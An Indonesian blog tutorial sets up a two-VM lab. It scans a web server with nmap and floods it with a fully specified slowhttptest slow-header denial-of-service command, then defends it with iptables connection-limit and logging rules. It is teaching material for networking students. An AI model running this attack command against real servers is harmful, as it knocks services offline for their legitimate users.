
Assalamu'alaikum sobat TKJ, setelah membuat web server tentu kita juga perlu memperhatikan untuk keamanannya karena kejahatan tidak hanya ada di dunia nyata namun juga ada di dunia maya. Oleh karena itu kita ada mengamankan web server kita dari salah satu serangan yang sangat mengganggu yaitu Distributed Denial Of Service (DDOS), singkatnya penyerang akan membanjiri ketersediaan lalu lintas yang seperti bandwidth atau kapasitas respon dari server sehingga client asli yang ingin mengaksesnya akan mengalami gangguan.

Kita akan menggunakan topologi seperti diatas, dengan melakukan penyerangan dan pertahanan yang bermanfaat untuk pembelajaran.
Langsung saja kita sikaatt....
Disini kita memerlukan 2 vm Debian yang pertama untuk Attack atau menyerang dan yang kedua untuk Defend atau bertahan.
Pertama install webserver pada vm Defend lalu lakukan konfigurasi ringan, jika webserver sudah jalan maka waktunya kita uji pengamanannya.
Setup Topologi
Setting adapter pada vm Defend seperti berikut
Adapter 1
Adapter 2

Konfigurasi network pada vm Defendnano /etc/network/interfaces

Restart service networking untuk memperbarui ip
systemctl restart networking
ip a
Setting juga adapter vm Attack seperti berikut
Adapter 1

Adapter 2
Konfigurasi network pada vm Attack
nano /etc/network/interfaces

Restart service networking untuk memperbarui ip
systemctl restart networking
ip a

Pastikan keduanya bisa saling ping dari Defend ke Attack ataupun sebaliknya dan juga webserver Defend bisa diakses oleh laptop Client.
Attack Session
Masuk pada vm Debian Attack
Pastikan sudah login dengan user root atau jika belum ketiksu -
Install tools yang diperlukan sebagai berikut
apt update
apt install nmap slowhttptest
y
Saat kondisi yang sebenarnya kita tidak mengetahui teknologi apa yang dipakai oleh target kita (dalam kasus ini yaitu vm Defend), oleh karena itu kita akan melakukan scanning untuk mendapatkan informasi teknologi apa saja yang digunakan dengan mengetik
nmap -sVC -O 192.168.56.2

-sVC = untuk scanning service/versi yang dipakai sekaligus script yang ada pada target
-O = untuk scanning detail OS yang digunakan target
Hasil yang kita dapatkan dari scanning ini adalah terlihat bahwa port 80 terbuka yang berisi service Apache versi 2.4.61 yang berjalan di OS debian.
Setelah mendapat informasi bahwa http ada di port 80 alias default dari sebuah website maka lansung kita lakukan penyerangan dengan mengetik
slowhttptest -c 50000 -H -r 200 -t GET -u http://192.168.56.2/ -x 24 -p 3 -l 9999
-c 50000 = total koneksi yang dikirim sebanyak 50000
-H = memperlambat dengan menarget headers dari website
-r 200 = melakukan koneksi 200 per detik
-t GET = menggunakan metode GET saat request
-u = url target adalah http://192.168.56.2/
-x 24 = panjang maksimal karakter random dari data sebanyak 24
-p 3 = menunggu saat timeout selama 3 detik
-l 9999 = batas waktu penargetan selama 9999 detik
Lalu akan masuk mode monitoring dari penyerangan yang kita lakukan, tunggu hingga "service available" menjadi NO dan angka pada "connected" tidak bertambah atau mulai melambat (kurang lebih 10 menit).
Kita bisa langsung akses websitenya melalui laptop client untuk memastikan bahwa web server sudah melambat atau bahkan hingga down.
Sebelum penyerangan
Sesudah penyerangan

Defend Session
Masuk pada vm Debian Defend
Ingat saat ini server kita sedang dalam kondisi diserang yang harus segera diamankan dengan melakukan hal berikut.
Pastikan sudah login dengan user root atau jika belum ketik
su -
Install tools yang diperlukan sebagai berikut
apt update
apt install rsyslog iptables iptables-persistent
y

Pilih Yes karna kita menggunakan ipv4

Pilih No karena kita tidak menggunakan ipv6

Langsung kita lakukan pengamanan dengan menerapkan aturan firewall menggunakan iptables yang akan membatasi akses pada port tcp/80 sebanyak 20 koneksi dan akan mencatat sekaligus memblokirnya jika pengaksesan lebih dari itu
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j LOG --log-prefix='ancaman-DDOS'
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j DROP
iptables-save > /etc/iptables/rules.v4
Kita cek apakah sudah sesuai dan jika sudah sesuai bisa langsung reboot agar semua koneksi terputus kemudian disaring oleh firewall yang kita buat
cat /etc/iptables/rules.v4
reboot
Setelah reboot selesai dengan aman maka kita bisa mengakses lagi melalui laptop client website yang terkena DDOS hingga down kembali lagi seperti semula

Kita juga bisa melihat ip dari penyerang karena firewall sudah mencatatnya dengan mengetik
tail -f /var/log/syslog | grep ancaman-DDOS -m 5
Terlihat bahwa ip 192.168.56.108 yang paling banyak muncul karena request yang lebih dari 20 koneksi dalam satu waktu.
Sekarang web server kita sudah memiliki pengamanan yang lebih daripada tidak ada sama sekali, tentu saja ini masih bisa dikembangkan lagi.
Sekian dari saya Terima Kasih, Assalamu'alaikum Warahmatullahi Wabarakatuh
Comments